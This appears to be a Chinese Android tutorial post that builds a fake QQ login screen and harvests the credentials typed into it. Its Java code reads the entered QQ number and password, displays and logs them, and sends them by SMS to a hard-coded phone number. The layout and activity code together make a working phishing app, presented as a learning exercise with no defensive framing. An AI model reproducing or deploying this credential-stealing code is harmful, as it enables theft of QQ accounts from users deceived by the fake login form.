安卓学习之获取QQ登录账户和密码并发送短信

布局代码：

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="cn.com.tarena.day01_easylogin.MainActivity"
android:orientation="vertical"
>

<ImageView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/Image01"
android:src="@drawable/icon_img"
android:layout_marginLeft="100dp"
/>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="@string/user_name"
android:id="@+id/textView"
/>

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/EditText01"
android:hint="    请输入用户名"/>
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="密    码："
android:id="@+id/textView3"
/>

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/EditText02"
android:hint="请输入密码"
android:password="true"
/>

</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:text="登陆"
android:id="@+id/button"
android:layout_weight="0.2"
android:background="@drawable/btn_background"
/>
</LinearLayout>
</LinearLayout>

主方法代码：
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
private Button Login;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Login=(Button)this.findViewById(R.id.button);
final EditText user=(EditText)this.findViewById(R.id.EditText01);
final EditText pass=(EditText)this.findViewById(R.id.EditText02);

Login.setOnClickListener(new myOnClickListener(){
@Override
public void onClick(View v) {
super.onClick(v);
String get_user = user.getText().toString().trim();
String get_pass = pass.getText().toString().trim();
System.out.println("QQNumber:" + get_user + ",Password:" + get_pass);
Toast.makeText(MainActivity.this, "get_user:" + get_user + ",get_pass:" + get_pass, Toast.LENGTH_LONG).show();
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage("15170267045",null,"QQNumber:"+get_user+",Password:"+get_pass,null,null);
}
}

);
}
class myOnClickListener implements View.OnClickListener{
@Override
public void onClick(View v) {
v.setAlpha(0.5f);
}
}
}

实现效果：